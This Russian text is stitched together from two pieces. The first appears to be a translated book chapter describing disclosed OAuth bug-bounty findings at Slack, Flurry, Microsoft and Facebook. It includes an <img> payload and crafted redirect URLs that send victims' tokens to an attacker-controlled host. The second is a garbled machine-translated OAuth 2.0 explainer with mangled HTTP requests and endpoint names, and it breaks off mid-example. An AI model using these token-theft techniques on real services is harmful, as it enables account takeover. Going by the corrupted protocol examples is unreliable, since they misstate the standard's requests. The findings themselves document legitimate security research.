По­лучив ответ с кодом перенап­равле­ния 302, бра­узер отправ­ляет сер­веру ресур­са GET-зап­рос. Вой­дя на сер­вер ресур­са, вы уви­дите диало­говое окно, с помощью которо­го мож­но одоб­рить области видимос­ти, зап­рашива­емые кли­ентом. На рис. 17.2 показа­но, как веб‑сайт Quora (кли­ент) зап­рашива­ет дос­туп к информа­ции у Facebook (сер­вера ресур­са) от име­ни вла­дель­ца ресур­са.

На­жатие кноп­ки Continue as John (Про­дол­жить как Джон) при­водит к одоб­рению зап­роса сай­та Quora на получе­ние дос­тупа к перечис­ленным областям видимос­ти, вклю­чая про­филь, спи­сок поль­зовате­лей, дату рож­дения, род­ной город вла­дель­ца ресур­са и про­чие све­дения. Ког­да вла­делец наж­мет кноп­ку, Facebook вер­нет HTTP-ответ с кодом 302, который перенап­равит бра­узер обратно к стра­нице с URL-адре­сом, ука­зан­ным в парамет­ре redirect_uri. Этот адрес так­же содер­жит токен и параметр state. Адрес перенап­равле­ния из Facebook в Quora может выг­лядеть так (изме­нено в целях демонс­тра­ции):

https://www.quora.com?access_token=EAAMH86O7b...GtKqljBZA8&expires_in=5625&state=F32AB83299DADDBAACD82DA

Сер­вер Facebook вер­нул токен access_token, с помощью которо­го кли­ент Quora мог сра­зу же получить дос­туп к информа­ции о вла­дель­це ресур­са. На этом учас­тие вла­дель­ца в про­цеду­ре OAuth завер­шено. Теперь кли­ент может нап­рямую обра­щать­ся к Facebook API за нуж­ной ему поль­зователь­ской информа­цией.

Вла­делец смо­жет даль­ше исполь­зовать кли­ент, не зная о его вза­имо­дей­ствии с API-интерфей­сом.

Рис. 17.2. Вход в Quora через Facebook с авто­риза­цией областей видимос­ти

Но если бы вмес­то access_token сайт Facebook вер­нул код, кли­енту Quora приш­лось бы обме­нять его на токен, ина­че он бы не смог зап­рашивать информа­цию у сер­вера ресур­са. Для это­го кли­ент и сер­вер вза­имо­дей­ству­ют нап­рямую, без учас­тия бра­узе­ра вла­дель­ца. Что­бы получить токен, кли­ент сам выпол­няет HTTP-зап­рос к сер­веру ресур­са и переда­ет в URL-адре­се три парамет­ра: code (код дос­тупа) client_id и client_secret. Код дос­тупа — это зна­чение, которое сер­вер вер­нул через HTTP-перенап­равле­ние со ста­тусом 302. Параметр client_secret явля­ется кон­фиден­циаль­ным и дол­жен хра­нить­ся на сто­роне кли­ента. Он генери­рует­ся сер­вером ресур­са на эта­пе кон­фигура­ции при­ложе­ния и наз­начения client_id.

На­конец, получив от кли­ента зап­рос с парамет­рами client_secret, client_id и code, сер­вер про­веря­ет эти зна­чения и воз­вра­щает в ответ access_token. Пос­ле это­го кли­ент получа­ет воз­можность зап­рашивать у сер­вера информа­цию о вла­дель­це ресур­са, и про­цеду­ра OAuth счи­тает­ся завер­шенной. Обыч­но, если вы уже раз­решили сер­веру ресур­са пре­дос­тавлять вашу информа­цию, при сле­дующем вхо­де в кли­ент через Facebook про­цеду­ра OAuth выпол­няет­ся в фоновом режиме. Это вза­имо­дей­ствие мож­но будет наб­людать толь­ко в слу­чае монито­рин­га HTTP-зап­росов. Это поведе­ние по умол­чанию. Кли­ент может его изме­нить так, что­бы вла­делец ресур­са заново аутен­тифици­ровал­ся и одоб­рял области видимос­ти, но это боль­шая ред­кость.

То, нас­коль­ко серь­езной явля­ется уяз­вимость в OAuth, зависит от одоб­ренных областей видимос­ти, свя­зан­ных с токеном. В этом вы сами убе­дитесь на сле­дующих при­мерах.

 

Похищение OAuth-токенов на сайте Slack

• Слож­ность: низ­кая
• URL: slack.com/oauth/authorize/
• Ис­точник: hackerone.com/reports/2575/
• Да­та подачи отче­та: 1 мар­та 2013 года
• Вып­лачен­ное воз­награж­дение: 100 дол­ларов

Од­на из рас­простра­нен­ных уяз­вимос­тей в OAuth воз­ника­ет, ког­да раз­работ­чик неп­равиль­но нас­тра­ивает или срав­нива­ет допус­тимые парамет­ры redirect_uri, поз­воляя зло­умыш­ленни­кам похитить OAuth-токены. Пра­хар Пра­сад информи­ровал ком­панию Slack о том, что он может обой­ти огра­ниче­ния, ука­зан­ные в раз­решен­ном адре­се redirect_uri, за счет добав­ления к нему любых зна­чений. Ины­ми сло­вами, сайт Slack про­верял лишь начало парамет­ра redirect_uri. Если раз­работ­чик регис­три­ровал в Slack новое при­ложе­ние и добав­лял в белый спи­сок https://www.<example>.com, зло­умыш­ленник мог рас­ширить этот URL-адрес и выпол­нить перенап­равле­ние в неп­редви­ден­ное мес­то. Нап­ример, изме­нен­ный адрес вида redirect_uri=https://<attacker>.com откло­нял­ся, но поз­волял передать redirect_uri=https://www.<example>.com.mx.

Что­бы этим вос­поль­зовать­ся, зло­умыш­ленни­ку было дос­таточ­но соз­дать под­ходящий под­домен на сво­ем вре­донос­ном сай­те. Если жер­тва откры­вала заражен­ный URL-адрес, сер­вер Slack переда­вал OAuth-токен сай­ту зло­умыш­ленни­ка. Хакер мог ини­цииро­вать зап­рос от име­ни жер­твы, встро­ив во вре­донос­ную веб‑стра­ницу тег <img> вро­де такого:

<img src=https://slack.com/oauth/authonze?responseJype=token&dientJd=APP_ID&redirect_un=https://www.example.com.attacker.com>

Это поз­волило бы авто­мати­чес­ки сде­лать HTTP-зап­рос типа GET при отоб­ражении стра­ницы.

Выводы

Уяз­вимос­ти, свя­зан­ные с недос­таточ­но стро­гой про­вер­кой redirect_uri, явля­ются рас­простра­нен­ным при­мером неп­равиль­ной кон­фигура­ции OAuth. Иног­да это выз­вано тем, что в качес­тве допус­тимого зна­чения redirect_uri регис­три­рует­ся домен вида *.<example>.com. Иног­да при­чина в том, что сер­вер ресур­са не про­водит стро­гую про­вер­ку парамет­ра redirect_uri от начала и до кон­ца. При поис­ке уяз­вимос­тей в OAuth про­веряй­те любые парамет­ры, которые могут учас­тво­вать в перенап­равле­нии.

 

Прохождение аутентификации с паролем по умолчанию

По­иск уяз­вимос­тей в любой реали­зации OAuth под­разуме­вает иссле­дова­ние всей про­цеду­ры аутен­тифика­ции, от начала и до кон­ца. Для это­го в том чис­ле необ­ходимо рас­познать HTTP-зап­росы, которые не явля­ются частью стан­дар­тно­го про­цес­са; их наличие час­то сиг­нализи­рует о том, что раз­работ­чик изме­нил механизм аутен­тифика­ции и, воз­можно, сде­лал его уяз­вимым. Джек Кей­бл стол­кнул­ся с подоб­ной ситу­ацией в работе с прог­раммой Bug Bounty от Yahoo, в которую вхо­дил ана­лити­чес­кий сайт Flurry.com.

Что­бы начать тес­тирова­ние, Кей­бл зарегис­три­ровал учет­ную запись на сай­те Flurry, исполь­зуя свой адрес элек­трон­ной поч­ты @yahoo.com и реали­зацию OAuth от Yahoo. Пос­ле того как Flurry и Yahoo сог­ласова­ли OAuth-токен, зак­лючитель­ный POST-зап­рос к сай­ту Flurry выг­лядел так:

POST /auth/v1/account HTTP/1.1

Host: auth.flurry.com

Connection: close

Content-Length: 205

Content-Type: application/vnd.api+json

DNT: 1

Referer: https://login.flurry.com/signup

Accept-Language: en-US, en;q=0.8,la;q=0.6

{"data":{"type":"account","id":"...","attributes":{"email":"[email protected]","companyName":"1234","firstname":"]ack","lastname":"cable","password":"not-provided"}}}

Вни­мание Кей­бла прив­лек фраг­мент зап­роса "password":"not-provided". Вый­дя из сво­ей учет­ной записи, он открыл стра­ницу https://login.flurry.com/ и аутен­тифици­ровал­ся не через OAuth, а с помощью поч­тового адре­са и пароля not-provided. Это сра­бота­ло, и Кей­бл смог вой­ти в свою учет­ную запись.

Ког­да поль­зователь регис­три­ровал­ся на сай­те Flurry с помощью сво­ей учет­ной записи Yahoo и про­цеду­ры OAuth, сис­тема соз­давала для него отдель­ную кли­ент­скую учет­ную запись с паролем по умол­чанию not-provided. Кей­бл сооб­щил об уяз­вимос­ти, и проб­лема была устра­нена через пять часов.

Выводы

Нес­тандар­тные эта­пы OAuth час­то пло­хо скон­фигури­рова­ны и под­верже­ны уяз­вимос­тям, поэто­му зас­лужива­ют про­вер­ки.

 

Похищение токенов для входа на сайт Microsoft

На сай­те Microsoft не реали­зова­на стан­дар­тная про­цеду­ра OAuth, но там исполь­зует­ся очень похожий про­цесс, который под­ходит для тес­тирова­ния OAuth-при­ложе­ний. Тес­тируя OAuth или ана­логич­ные механиз­мы аутен­тифика­ции, тща­тель­но про­ана­лизи­руй­те то, как про­веря­ются парамет­ры перенап­равле­ния. Для это­го при­ложе­нию мож­но переда­вать раз­ные виды URL-адре­сов. Этот под­ход помог Дже­ку Уит­тону най­ти в про­цеду­ре вхо­да на сайт Microsoft спо­соб похитить аутен­тифика­цион­ные токены.

Ком­пания Microsoft вла­деет мно­жес­твом про­ектов, поэто­му зап­росы для аутен­тифика­ции поль­зовате­лей на раз­ных сер­висах нап­равля­ются раз­ным доменам: login.live.com, login.microsoftonline.com или login.windows.net. Эти зап­росы воз­вра­щают поль­зовате­лям сес­сии. Нап­ример, в слу­чае с outlook.office.com про­цеду­ра выг­лядит так:

1. Поль­зователь заходит на сайт https://outlook.office.com.

2. Поль­зователь перенап­равля­ется к

   https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2fbutlook.office.com%2fowa%2f&id=260563

3. В слу­чае успе­ха по адре­су внут­ри wreply выпол­няет­ся POST-зап­рос с парамет­ром t, который содер­жит токен для поль­зовате­ля.

При попыт­ке поменять wreply на любой дру­гой домен воз­никала ошиб­ка. Уит­тон поп­робовал переда­вать сим­волы с двой­ным кодиро­вани­ем, добав­ляя в конец URL-адре­са %252f, что­бы получить https%3a%2f%2foutlook.office.com%252f. В этом URL-адре­се спе­циаль­ные сим­волы : и / кодиру­ются как %3a и, соот­ветс­твен­но, %2f. Кро­ме того, в исходном адре­се сле­дует закоди­ровать знак про­цен­та (%), что­бы при двой­ном кодиро­вании он прев­ратил­ся в косую чер­ту %252f (кодиро­вание спе­циаль­ных сим­волов обсужда­лось в раз­деле «Раз­деление HTTP-отве­та в Twitter» на с. 77). Ког­да Уит­тон под­ста­вил вмес­то wreply получен­ный URL-адрес, при­ложе­ние вер­нуло ошиб­ку, сооб­щающую, что адрес https://outlook.office.com%f некор­ректен.

Вслед за этим Уит­тон добавил к домену @example.com и вмес­то ошиб­ки получил https://outlook.office.com%2f@example.com/?wa=wsignin1.0. Дело в том, что URL-адрес име­ет сле­дующую струк­туру:

[//[имя_пользователя:пароль@]домен[:порт]][/]путь[?запрос][#фрагмент]

Имя поль­зовате­ля и пароль учас­тву­ют в базовой HTTP-аутен­тифика­ции сай­та. Поэто­му пос­ле добав­ления @example.com домен для перенап­равле­ния боль­ше не выг­лядел как outlook.office.com. Вмес­то это­го поль­зовате­ля мож­но было перенап­равить к любому домену, который кон­тро­лиро­вал­ся зло­умыш­ленни­ком.

По сло­вам Уит­тона, при­чиной этой уяз­вимос­ти было то, что сайт Microsoft выпол­нял декоди­рова­ние и про­вер­ку URL-адре­са в два эта­па. На пер­вом эта­пе сайт про­верял, явля­ется ли домен­ное имя кор­рек­тным и соот­ветс­тву­ет ли оно струк­туре URL-адре­са. Адрес https://outlook.office.com%2f@example.com успешно про­ходил про­вер­ку, пос­коль­ку стро­ка outlook.office.com%2f вос­при­нима­лась как кор­рек­тное имя поль­зовате­ля.

На вто­ром эта­пе сайт рекур­сивно декоди­ровал URL-адрес. Стро­ка
https%3a%2f%2foutlook.office.com%252f@example.com прев­ращалась в https:// outlook.office.com/@example.com, то есть фраг­мент @example.com пос­ле косой чер­ты интер­пре­тиро­вал­ся как часть пути, а домен­ное имя выг­лядело как outlook.office.com.

Сайт Microsoft про­верял струк­туру URL-адре­са, декоди­ровал его и под­тверждал его при­сутс­твие в белом спис­ке. Но в качес­тве отве­та воз­вра­щал­ся адрес, декоди­рован­ный один раз. То есть при посеще­нии такого URL токен жер­твы отправ­лялся сай­ту example.com.

https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%[email protected]&id=260563

Ха­кер, вла­дев­ший этим сай­том, мог вой­ти в сер­вис Microsoft, к которо­му отно­сил­ся получен­ный токен, и читать учет­ные записи дру­гих поль­зовате­лей.

Выводы

В ходе иссле­дова­ния парамет­ров перенап­равле­ния в про­цеду­ре OAuth добавь­те к конеч­ному URI-адре­су @example.com и пос­мотри­те, как поведет себя при­ложе­ние. Это осо­бен­но акту­аль­но, если в про­цес­се аутен­тифика­ции исполь­зуют­ся закоди­рован­ные сим­волы, которые дол­жны быть декоди­рова­ны перед про­вер­кой вхож­дения URL-адре­са в белый спи­сок. Во вре­мя тес­тирова­ния обра­щай­те вни­мание на нез­начитель­ные изме­нения в поведе­нии сай­та.

 

Похищение официальных токенов доступа на сайте Facebook

При поис­ке уяз­вимос­тей обра­щай­те вни­мание на ресур­сы инте­ресу­юще­го вас при­ложе­ния, о которых раз­работ­чики мог­ли забыть. Филип­пе Хэй­рвуд пос­тавил перед собой цель: похитить токен поль­зовате­ля Facebook и получить дос­туп к его кон­фиден­циаль­ной информа­ции. Одна­ко ему не уда­лось най­ти никаких оши­бок в реали­зации OAuth на сай­те Facebook. Не отча­явшись, он поменял свой план и начал искать при­ложе­ние Facebook, которое мож­но зах­ватить как под­домен.

Он знал, что Facebook вла­деет при­ложе­ниями, которые авто­мати­чес­ки авто­ризу­ются с помощью OAuth, исполь­зуя учет­ные записи этой плат­формы. С их спис­ком мож­но было озна­комить­ся на стра­нице https://www.facebook.com/search/me/apps-used/.

В спис­ке Хэй­рвуд нашел один про­ект, который по‑преж­нему был авто­ризо­ван, хотя ком­пания Facebook им боль­ше не вла­дела и не исполь­зовала его домен. Это озна­чало, что Хэй­рвуд мог зарегис­три­ровать одоб­ренное домен­ное имя в качес­тве парамет­ра redirect_uri и получить токен любого поль­зовате­ля Facebook, который посещал конеч­ную точ­ку авто­риза­ции OAuth:

https://facebook.com/v2.5/dialog/oauth?response_type=token&display=popup&clientJd=APP_ID&redirect_uri=REDIRECT_URI/

В этом URL-адре­се иден­тифика­тор уяз­вимого при­ложе­ния обоз­начен в виде парамет­ра APP_ID, который пре­дос­тавлял дос­туп ко всем областям видимос­ти OAuth. Домен, вхо­див­ший в белый спи­сок, обоз­начен как REDIRECT_URI (Хэй­рвуд не уточ­нил, какое имен­но при­ложе­ние было неп­равиль­но скон­фигури­рова­но). Пос­коль­ку при­ложе­ние уже было авто­ризо­вано для каж­дой учет­ной записи Facebook, при щел­чке по этой ссыл­ке поль­зовате­лю не нуж­но было под­тверждать зап­рашива­емые области видимос­ти. Кро­ме того, вся про­цеду­ра OAuth выпол­нялась пос­редс­твом фоновых HTTP-зап­росов. Открыв этот URL-адрес для аутен­тифика­ции на сай­те Facebook, поль­зователь перенап­равлял­ся к стра­нице с подоб­ным адре­сом http://REDIRECT_URI/#token=сюда_добавлялся_токен/.

Пос­коль­ку Хэй­рвуд зарегис­три­ровал домен REDIRECT_URI, он мог записы­вать токены любых поль­зовате­лей, откры­вав­ших этот URL-адрес, что давало ему дос­туп к их учет­ным записям на сай­те Facebook. Кро­ме того, все офи­циаль­ные токены Facebook име­ли дос­туп к дру­гим при­ложе­ниям этой ком­пании, таким как Instagram. В ито­ге Хэй­рвуд мог аутен­тифици­ровать­ся на этих сай­тах от име­ни жер­твы.

Выводы

При поис­ке уяз­вимос­тей обра­щай­те вни­мание на ресур­сы, о которых мог­ли забыть вла­дель­цы сай­та. Иног­да это могут быть записи CNAME для под­доменов и зависи­мос­ти при­ложе­ний, такие как Ruby Gems, биб­лиоте­ки JavaScript и т. д. Перед началом тес­тирова­ния ставь­те перед собой чет­кую цель. В ходе иссле­дова­ния круп­ного при­ложе­ния это поз­волит не отвле­кать­ся на про­вер­ку его бес­числен­ных аспектов.

 

Итоги

Нес­мотря на то что про­цеду­ра аутен­тифика­ции OAuth явля­ется стан­дарти­зиро­ван­ной, раз­работ­чики могут допус­тить ошиб­ку в ее кон­фигура­ции. Неоче­вид­ные уяз­вимос­ти поз­воля­ют зло­умыш­ленни­ку похитить токены авто­риза­ции и получить дос­туп к кон­фиден­циаль­ным дан­ным жер­твы. Иссле­дуя при­ложе­ния с под­дер­жкой OAuth, тща­тель­но иссле­дуй­те параметр redirect_uri, что­бы понять, нес­коль­ко кор­рек­тно при­ложе­ние его про­веря­ет при отправ­ке токенов. Ищи­те нес­тандар­тные механиз­мы аутен­тифика­ции на осно­ве про­цеду­ры OAuth, которые под­верже­ны уяз­вимос­тям. Если вам не уда­ется най­ти ничего подоз­ритель­ного, не забудь­те про­верить одоб­ренные ресур­сы. Воз­можно, раз­работ­чики забыли о каком‑то при­ложе­нии, которо­му кли­ент доверя­ет по умол­чанию.

Что, черт возьми, такое OAuth?

Есть много путаницы в отношении того, что на самом деле означает OAuth.

Некоторые люди думают, что OAuth — это процесс входа в систему (например, когда вы входите в приложение с помощью входа в Google), а некоторые люди думают о OAuth как о «элементе безопасности» , и на самом деле не знают ничего большего, чем это.

Я собираюсь показать вам, что такое OAuth, объяснить, как он работает, и, надеюсь, оставлю вас с пониманием того, как и где OAuth может помочь вашему приложению.

Что такое OAuth?

Для начала, OAuth — это , а не API или служба: это открытый стандарт авторизации, и любой может его реализовать.

В частности, OAuth — это стандарт, который приложения могут использовать для предоставления клиентским приложениям «безопасного делегированного доступа». OAuth работает через HTTPS и авторизует устройства, API, серверы и приложения с помощью токенов доступа, а не учетных данных.

Существует две версии OAuth: OAuth 1.0a и OAuth 2.0. Эти спецификации полностью отличаются друг от друга и не могут использоваться вместе: между ними нет , нет обратной совместимости.

Какой из них более популярен? Отличный вопрос! В настоящее время OAuth 2.0 является наиболее широко используемой формой OAuth. Итак, с этого момента, когда я говорю «OAuth» , я говорю об OAuth 2.0, поскольку это, скорее всего, то, что вы будете использовать.

Почему OAuth?

OAuth был создан как ответ на шаблон прямой аутентификации.Этот шаблон стал известен благодаря базовой аутентификации HTTP, когда пользователю предлагается ввести имя пользователя и пароль. Базовая проверка подлинности по-прежнему используется в качестве примитивной формы проверки подлинности API для серверных приложений: вместо отправки имени пользователя и пароля на сервер с каждым запросом пользователь отправляет идентификатор ключа API и секрет. До OAuth сайты предлагали вам ввести имя пользователя и пароль прямо в форму, и они входили в ваши данные (например, в вашу учетную запись Gmail) как вы.Это часто называют анти-шаблоном пароля.

Чтобы создать лучшую систему для Интернета, была создана федеративная идентификация для единого входа (SSO). В этом сценарии конечный пользователь разговаривает со своим поставщиком удостоверений, и поставщик удостоверений генерирует криптографически подписанный токен, который передает приложению для аутентификации пользователя. Приложение доверяет поставщику удостоверений. Пока эти доверительные отношения работают с подписанным утверждением, все в порядке. На схеме ниже показано, как это работает.

Федеративная идентификация

стала известной благодаря SAML 2.0, стандарту OASIS, выпущенному 15 марта 2005 года. Это обширная спецификация, но основными двумя компонентами являются протокол запроса аутентификации (он же Web SSO) и способ упаковки атрибутов идентификации и их подписи называется утверждениями SAML. Okta делает это с помощью своих шиклетов SSO. Мы отправляем сообщение, мы подписываем утверждение, внутри утверждения написано, кто пользователь, и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.

САМЛ

SAML — это, по сути, файл cookie сеанса в вашем браузере, который дает вам доступ к веб-приложениям. Он ограничен по типам профилей устройств и сценариям, которые вы, возможно, захотите использовать за пределами веб-браузера.

Когда SAML 2.0 был запущен в 2005 году, это имело смысл. Однако с тех пор многое изменилось. Теперь у нас есть современные веб-платформы и платформы для разработки нативных приложений. Существуют одностраничные приложения (SPA), такие как Gmail / Google Inbox, Facebook и Twitter. Их поведение отличается от поведения вашего традиционного веб-приложения, поскольку они выполняют AJAX (фоновые HTTP-вызовы) к API.Мобильные телефоны также выполняют вызовы API, как и телевизоры, игровые консоли и устройства Интернета вещей. Система единого входа на базе SAML не очень хороша для этого.

OAuth и API

Многое изменилось и в том, как мы создаем API. В 2005 году люди инвестировали в WS- * для создания веб-сервисов. Теперь большинство разработчиков перешли на REST и API без сохранения состояния. Вкратце, REST — это HTTP-команды, передающие пакеты JSON по сети.

Разработчики создают множество API. Экономика API — это обычное модное слово, которое сегодня можно услышать в залах заседаний.Компаниям необходимо защищать свои REST API таким образом, чтобы к ним могли получить доступ многие устройства. Раньше вы вводили каталог со своим именем пользователя и паролем, и приложение входило в систему напрямую от вашего имени. Это привело к проблеме делегированной авторизации.

«Как я могу разрешить приложению доступ к моим данным, не сообщая при этом свой пароль?»

Если вы когда-нибудь видели один из приведенных ниже диалогов, мы говорим именно об этом. Это приложение, которое спрашивает, может ли оно получить доступ к данным от вашего имени.

Это OAuth.

OAuth — это платформа делегированной авторизации для REST / API. Это позволяет приложениям получать ограниченный доступ (области) к данным пользователя, не раскрывая пароль пользователя. Он отделяет аутентификацию от авторизации и поддерживает несколько вариантов использования, касающихся различных возможностей устройства. Он поддерживает межсерверные приложения, приложения на основе браузера, мобильные / нативные приложения и консоли / телевизоры.

Вы можете думать об этом как о карточках-ключах от отелей, но только для приложений.Если у вас есть ключ-карта отеля, вы можете попасть в свой номер. Как получить ключ-карту от отеля? Вы должны пройти аутентификацию на стойке регистрации, чтобы получить его. После аутентификации и получения ключа-карты вы можете получить доступ к ресурсам на всей территории отеля.

Проще говоря, OAuth — это где:

1. Приложение запрашивает авторизацию у пользователя
2. Пользователь авторизует приложение и предоставляет доказательство
Приложение
3. представляет подтверждение авторизации серверу для получения токена
Маркер
4. ограничен для доступа только к тому, что Пользователь авторизовал для конкретного приложения

Центральные компоненты OAuth

OAuth построен на следующих центральных компонентах:

• Объем и согласие
• Актеры
• Клиенты
• жетонов
• Сервер авторизации
• Потоки

Области действия OAuth

Области — это то, что вы видите на экранах авторизации, когда приложение запрашивает разрешения.Это пакеты разрешений, запрашиваемые клиентом при запросе токена. Они кодируются разработчиком приложения при написании приложения.

Области отделяют решения политики авторизации от принудительного исполнения. Это первый ключевой аспект OAuth. Разрешения передние и центральные. Они не скрыты за слоем приложения, который вам нужно перепроектировать. Они часто упоминаются в документации по API: вот области, которые требуются для этого приложения.

Вы должны получить это согласие.Это называется доверием при первом использовании. Это довольно значительное изменение пользовательского опыта в Интернете. Большинство людей до OAuth использовалось только для ввода имени и пароля в диалоговых окнах. Теперь у вас есть новый экран, который появляется, и вам нужно научить пользователей пользоваться им. Переучить интернет-население сложно. Есть самые разные пользователи, от технически подкованной молодежи до бабушек и дедушек, которые не знакомы с этим процессом. Это новая концепция в Интернете, которая теперь находится в центре внимания. Теперь вам нужно авторизовать и принести согласие.

Согласие может варьироваться в зависимости от приложения. Это может быть диапазон, зависящий от времени (день, недели, месяцы), но не все платформы позволяют выбрать продолжительность. Когда вы даете согласие, нужно следить за тем, чтобы приложение могло делать что-то от вашего имени, например LinkedIn рассылает спам всем в вашей сети.

OAuth — это масштабируемое интернет-решение, поскольку оно предназначено для каждого приложения. Часто у вас есть возможность войти в панель управления, чтобы увидеть, к каким приложениям вам предоставлен доступ, и отозвать согласие.

Актеры OAuth

Действующие лица в потоках OAuth следующие:

• Владелец ресурса : владеет данными на сервере ресурсов. Например, я владелец ресурса своего профиля в Facebook.
• Сервер ресурсов : API, который хранит данные, к которым приложение хочет получить доступ
• Клиент : приложение, которое хочет получить доступ к вашим данным
• Сервер авторизации : основной механизм OAuth

Владелец ресурса — это роль, которая может меняться с разными учетными данными.Это может быть конечный пользователь, но также может быть компания.

Клиенты могут быть публичными и конфиденциальными. В номенклатуре OAuth существует существенное различие между ними. Конфиденциальным клиентам можно доверить хранение секретов. Они не работают на компьютере и не распространяются через магазин приложений. Люди не могут перепроектировать их и получить секретный ключ. Они работают в защищенной зоне, где конечные пользователи не могут получить к ним доступ.

Общедоступные клиенты — это браузеры, мобильные приложения и устройства Интернета вещей.

Регистрация клиента также является ключевым компонентом OAuth. Это похоже на DMV OAuth. Вам необходимо получить номерной знак для вашего приложения. Вот как логотип вашего приложения отображается в диалоговом окне авторизации.

токенов OAuth

Маркер доступа — это маркер, который клиент использует для доступа к серверу ресурсов (API). Они должны быть недолговечными. Думайте о них в часах и минутах, а не днях и месяцах. Для получения токена доступа вам не нужен конфиденциальный клиент.Вы можете получить токены доступа с публичными клиентами. Они созданы для решения проблем с масштабированием Интернета. Поскольку эти токены могут быть недолговечными и масштабироваться, их нельзя отозвать, вам просто нужно подождать, пока они истекут.

Другой токен — это токен обновления. Это намного дольше; дни, месяцы, годы. Это можно использовать для получения новых токенов. Чтобы получить токен обновления, приложениям обычно требуются конфиденциальные клиенты с аутентификацией.

Жетоны обновления могут быть отозваны.Отменяя доступ к приложению на панели инструментов, вы убиваете его токен обновления. Это дает вам возможность заставить клиентов менять секреты. Вы используете свой токен обновления для получения новых токенов доступа, а токены доступа проходят по сети, чтобы поразить все ресурсы API. Каждый раз, когда вы обновляете свой токен доступа, вы получаете новый токен с криптографической подписью. Ротация ключей встроена в систему.

Спецификация OAuth не определяет, что такое токен. Он может быть в любом формате.Однако обычно вы хотите, чтобы эти токены были веб-токенами JSON (стандарт). Вкратце, JWT (произносится как «джот») — это безопасный и заслуживающий доверия стандарт аутентификации токена. JWT позволяют подписывать информацию цифровой подписью (называемой утверждениями) с помощью подписи и могут быть проверены позже с помощью секретного ключа подписи. Чтобы узнать больше о JWT, см. Руководство для начинающих по JWT в Java.

токенов получены с конечных точек на сервере авторизации. Две основные конечные точки — это конечная точка авторизации и конечная точка токена.Они разделены для разных сценариев использования. Конечная точка авторизации — это то место, куда вы переходите, чтобы получить согласие и авторизацию от пользователя. Это возвращает разрешение на авторизацию, в котором говорится, что пользователь согласился на это. Затем авторизация передается конечной точке токена. Конечная точка токена обрабатывает грант и говорит: «Отлично, вот ваш токен обновления и ваш токен доступа».

Вы можете использовать токен доступа для доступа к API. Когда он истечет, вам нужно будет вернуться к конечной точке токена с токеном обновления, чтобы получить новый токен доступа.

Обратной стороной является сильное трение проявителя. Одна из самых больших проблем OAuth для разработчиков — это необходимость управлять токенами обновления. Вы передаете управление состоянием каждому клиентскому разработчику. Вы получаете преимущества ротации ключей, но только что доставили много хлопот разработчикам. Вот почему разработчики любят ключи API. Они могут просто скопировать / вставить их, вставить в текстовый файл и покончить с ними. Ключи API очень удобны для разработчика, но очень вредны для безопасности.

Здесь проблема с оплатой. Если заставить разработчиков выполнять потоки OAuth, повышается безопасность, но возникает больше трений. Наборы инструментов и платформы позволяют упростить работу и помочь с управлением токенами. К счастью, в наши дни OAuth достаточно развит, и, скорее всего, в вашем любимом языке или фреймворке есть инструменты для упрощения.

Мы немного поговорили о типах клиентов, типах токенов и конечных точках сервера авторизации, а также о том, как передать это на сервер ресурсов.Я упомянул два разных потока: получение авторизации и получение токенов. Это не обязательно должно происходить на одном канале. Передний канал — это то, что проходит через браузер. Браузер перенаправил пользователя на сервер авторизации, пользователь дал согласие. Это происходит в браузере пользователя. Как только пользователь берет это разрешение на авторизацию и передает его приложению, клиентскому приложению больше не нужно использовать браузер для завершения потока OAuth для получения токенов.

Маркеры предназначены для использования клиентским приложением, чтобы оно могло получать доступ к ресурсам от вашего имени.Мы называем это обратным каналом. Обратный канал — это HTTP-вызов непосредственно от клиентского приложения к серверу ресурсов для обмена предоставлением авторизации для токенов. Эти каналы используются для разных потоков в зависимости от возможностей вашего устройства.

Например, поток переднего канала, в котором вы авторизуетесь через пользовательский агент, может выглядеть следующим образом:

1. Владелец ресурса запускает поток для делегирования доступа к защищенному ресурсу
2. Клиент отправляет запрос авторизации с желаемыми областями через перенаправление браузера на конечную точку авторизации на сервере авторизации
Сервер авторизации
3. возвращает диалоговое окно согласия с вопросом «разрешаете ли вы этому приложению доступ к этим областям?» Конечно, вам потребуется пройти аутентификацию в приложении, поэтому, если вы не прошли аутентификацию на своем сервере ресурсов, вам будет предложено войти в систему.Если у вас уже есть кэшированный файл cookie сеанса, вы просто увидите диалоговое окно согласия. Просмотрите диалоговое окно согласия и согласитесь.
4. Разрешение на авторизацию передается обратно в приложение через перенаправление браузера. Все это происходит на переднем канале.

В этом потоке также есть отклонение, называемое неявным потоком. Мы вернемся к этому через минуту.

Вот как это выглядит на проводе.

Запрос

ПОЛУЧИТЕ учетные записи https: //.google.com/o/oauth3/auth?scope=gmail.insert gmail.send & redirect_uri = https: //app.example.com/oauth3/callback & response_type = код & client_id = 812741506391 & state = af0ifjsldkj Это запрос GET с кучей параметров запроса (например, не в кодировке URL). Области действия взяты из API Gmail. Redirect_uri — это URL-адрес клиентского приложения, которому должно быть возвращено разрешение на авторизацию. Это должно соответствовать значению из процесса регистрации клиента (в DMV).Вы не хотите, чтобы авторизация возвращалась стороннему приложению. Тип ответа зависит от потоков OAuth. Идентификатор клиента также получен из процесса регистрации. Состояние — это флаг безопасности, аналогичный XRSF. Чтобы узнать больше о XRSF, см. «Объяснение подделки межсайтовых запросов» от DZone.

Ответ

HTTP / 1.1 302 Найдено Расположение: https://app.example.com/oauth3/callback? код = MsCeLvIaQm6bTrgtp7 и состояние = af0ifjsldkj Возвращаемый код — это разрешение на авторизацию, а состояние должно гарантировать, что он не подделан и что он был получен из того же запроса.

После завершения работы с передним каналом происходит поток по обратному каналу, в котором код авторизации обменивается на токен доступа.

Клиентское приложение отправляет запрос маркера доступа конечной точке маркера на сервере авторизации с конфиденциальными учетными данными и идентификатором клиента. Этот процесс обменивает предоставление кода авторизации на токен доступа и (необязательно) токен обновления. Клиент получает доступ к защищенному ресурсу с помощью токена доступа.

Ниже показано, как это выглядит в чистом HTTP.

Запрос

POST / oauth3 / v3 / токен HTTP / 1.1 Хост: www.googleapis.com Тип содержимого: application / x-www-form-urlencoded code = MsCeLvIaQm6bTrgtp7 & client_id = 812741506391 & client_secret = {client_secret} & redirect_uri = https: //app.example.com/oauth3/callback&grant_type=authorization_code grant_type — это расширяемая часть OAuth. Это код авторизации с заранее вычисленной точки зрения. Это дает возможность по-разному описывать эти гранты.Это наиболее распространенный тип потока OAuth.

Ответ

